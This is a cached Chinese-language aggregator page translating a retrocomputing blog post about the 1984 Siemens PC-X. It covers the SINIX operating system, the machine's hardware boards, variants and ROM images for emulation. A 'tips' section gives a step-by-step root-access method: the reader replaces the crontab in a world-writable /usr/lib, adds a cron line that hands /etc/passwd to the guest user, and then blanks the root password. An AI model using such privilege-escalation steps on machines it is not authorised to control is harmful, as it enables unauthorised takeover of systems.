Siemens PC-X (2015)

Hacker News Top 产品

摘要

本文探讨了Siemens PC-X,这是一台1984年的个人电脑,运行SINIX(一个基于Unix的操作系统),并具有独特的硬件规格和设计,为早期计算提供了历史背景。

暂无内容
查看原文
查看缓存全文

缓存时间: 2026/08/21 13:23

# 西门子 PC-X - GeekDot 来源:https://www.geekdot.com/siemens-pc-x/ 西门子 PC-X 是 PC/XT 早期时代的一台奇特机型。正如你浏览本页时可能注意到的,我对这类非常规设备情有独钟……好了,现在进入正题: 它基于最初的“PC-D”设计。实际上,除了 ROM、(可选的)MMU、稍有不同的显卡以及标配硬盘外,两者几乎相同……**但是**,“X”型号预装了 SINIX(https://en.wikipedia.org/wiki/SINIX)——西门子基于 XENIX(https://en.wikipedia.org/wiki/Xenix)的 *UNIX* 变体。考虑到其相当有限的配置,这一点令人印象深刻: - 8MHz i80186 CPU - 1MB RAM - 10-20MB 硬盘(取决于所用驱动器) - 640x350x1 单色白底黑字显示——在当时属于高分辨率 ![](https://www.geekdot.com/wp-content/uploads/2020/08/PC-D_Zuse.jpg) 甚至康拉德·楚泽(https://en.wikipedia.org/wiki/Konrad_Zuse)也有一台 PC-D 😉 是的,PC-X/D 是少数采用 80186(https://en.wikipedia.org/wiki/Intel_80186)而非“行业标准”8088/8086 的机型之一。这一选择看似先进,实则有些倒退,因为所有这些机型或多或少都与当时日益增长的 MS-DOS 软件库不兼容。对于“X”型号而言情况更糟——运行 SINIX 意味着几乎完全依赖西门子获取软件。当时有自家的办公套件,也可以购买微软的 Word/Multiplan/Chart 和 dBase II。嗯,在 1984 年运行一个支持多任务(!)的办公系统已相当不错。以下视频展示了 Siemens PC-X 启动 SINIX 的过程: 由于这台设备中*几乎所有组件*都是非标准的(显卡、扩展总线等),其生命周期并不长。不过我非常喜欢它的键盘——外观极具 80 年代风格,且是德国过度工程的又一例证:即使被汽车碾过也能正常工作,如同 IBM Type M 键盘。 这是打开厚度仅 0.8mm 钢制机箱后的景象——左侧第三个是巨大的电源,前方是驱动器舱,后方则是夹层总线: [PCX_1stlook](https://www.geekdot.com/wp-content/uploads/2015/08/PCX_1stlook.jpg) 取下驱动器舱(左侧:BASF 6188 10MB MFM 硬盘;右侧:TEAC FD-55FV 软驱),即可看到 GPIB/RS232 扩展卡——采用非常简单的 NEC D7210 设计,外部接口标注为“DFÜ”(德语缩写,意为“远程数据传输”,即调制解调器等设备): [PCX_Serial](https://www.geekdot.com/wp-content/uploads/2015/08/PCX_Serial.jpg) “堆叠”结构中的下一层是显卡,它同时控制键盘。该显卡似乎与 PC-D 版本所用型号不同。左侧包含一枚 8031 芯片、SCB2673(视频属性控制器)、2 个 EPROM(D39/40)和一块 2k SRAM。右侧则为 SCN2672(可编程视频时序控制器),附带其专用的 8K EPROM(D12)和 4k SRAM: [PCX_GraKa](https://www.geekdot.com/wp-content/uploads/2015/08/PCX_GraKa.jpg) 移除该扩展板后,主板全貌得以呈现——右下角是 RAM,左侧为 CPU、WD2791 软驱控制器,当然还有 80186 CPU 及其旁侧的 C8207-8 内存控制器(我曾误认为是 MMU): [PCX_Mainboard](https://www.geekdot.com/wp-content/uploads/2015/08/PCX_Mainboard.jpg) 若进一步拆除电源,还会发现另一奇特之处(上图左侧边缘亦隐约可见):一块 SCSI 转 MFM 转换板,型号为“DTC 520B (https://archive.org/details/bitsavers_dtcDTC500B_4222014)”。因此西门子决定采用 MFM 硬盘加此转换器的方案,而非使用板载 SCSI 总线并配备(昂贵的)SCSI 硬盘。Hmm... [PCX_SCSI2MFM](https://www.geekdot.com/wp-content/uploads/2015/08/PCX_SCSI2MFM.jpg) 最终撰写本文的缘由,是有人向我索取 SINIX 镜像及 PC-X 的 ROM 文件,以便在 MESS 模拟器(http://forums.bannister.org/ubbthreads.php?ubb=showflat&Number=96883&page=9)中复现该系统。以下是我手头 ROM 镜像(https://www.geekdot.com/uploads/files/PCX/PCX_EPROMs.zip)的压缩包。或许我还能补充更多软盘镜像……敬请期待。 #### 其他版本 浏览网页时,我发现了另一版主板和显卡。从其型号标识和设计来看,它们似乎是现有板卡的前身。 这是主板。我持有的型号为 W26361-D270-Z6-05-36,而这款标注为 -D270-Z6-02-05。许多 IC 采用陶瓷封装。RAM 似乎安装在单独的 PCB 板上: [PCX_AltMainbo_W26361](https://www.geekdot.com/wp-content/uploads/2015/08/PCX_AltMainbo_W26361.jpg) 显卡存在更多差异(我的型号是 W26361-D310-Z4-03-5,此款为 -D282-Z4-10-5)。IC 布局不同,设计显得更为拥挤,且部分 IC 在板上未安装: [PCX_AltGraKa_D282](https://www.geekdot.com/wp-content/uploads/2015/08/PCX_AltGraKa_D282.jpg) #### 技巧 若你的 SINIX 已运行(可能是先前安装的版本)且无法获取 root 权限,以下方法可**获取 root 访问**(假设你能以 guest 用户登录且无需密码,通常用户名为‘gast’)。该方法基于一个错误设置的权限: /usr/lib 目录对所有人可写 `$ ls -ld /usr/lib` `drwxrwxrwx root /usr/lib` 其中存在一个 crontab 文件。将其复制到 /tmp,删除原始文件,再将你的版本复制回 /usr/lib 以取得控制权: `$ cp /usr/lib/crontab /tmp` `$ rm /usr/lib/crontab` `$ cp /tmp/crontab /usr/lib` 现在你可以用编辑器(`ced`)编辑“你的 crontab”,并添加如下一行: `* * * * * /bin/chown gast /etc/passwd` 一分钟后,/etc/passwd 文件的所有权也会变更。随后你可以通过修改 `root:cHuykydasds:`(或类似乱码) 为 `root::` 来移除 root(或管理员)密码。 Voilá,这台 SINIX 现在属于你了 😉 另一项可能需要的操作是**传输数据**。初始阶段唯一可用的工具名为‘`trados`’,它能读写 360KB(仅限此容量!)DOS 软盘。至少是个起点…… #### 后续计划 在地下室存放多年后重新审视这台机器,以下几件事值得探索: - 能否用 SCSI 硬盘直接替代 DTC 520B? - 显卡上的 SRAM 插座尺寸较大——若更换更大容量的 SRAM 会如何?这或许在模拟器正常工作后,通过调整视频固件以利用更多 SRAM 时能得出答案。

相似文章

PCjs Machines

Hacker News Top

PCjs 使用 JavaScript 模拟 1970 年代和 1980 年代的复古计算机硬件和软件,在浏览器中提供复古计算体验。

面向 Itanium 的 Windows XP 2002:难以抑制的愤怒

Hacker News Top

一篇复古计算博客文章报道称,一个 QEMU 分支现在能够模拟 Intel Itanium(Merced),足以运行适用于 IA-64 的 Windows XP 2002,并记录了在 macOS 上构建交叉编译器以帮助其运行的过程。

MS-DOS 2.0 之路

Hacker News Top

本文追溯了 MS-DOS 从 86-DOS、微软的 XENIX 尝试到 XEDOS 计划的历史发展过程,详细说明了塑造早期个人电脑操作系统的各种制约因素和决策。

Acorn Archimedes 上的 PipeDream

Hacker News Top

本文探讨了 Acorn Archimedes 及其 RISC OS 的历史,以 PipeDream 生产力套件为例,聚焦于这种偏离标准 WIMP 界面的早期计算创新。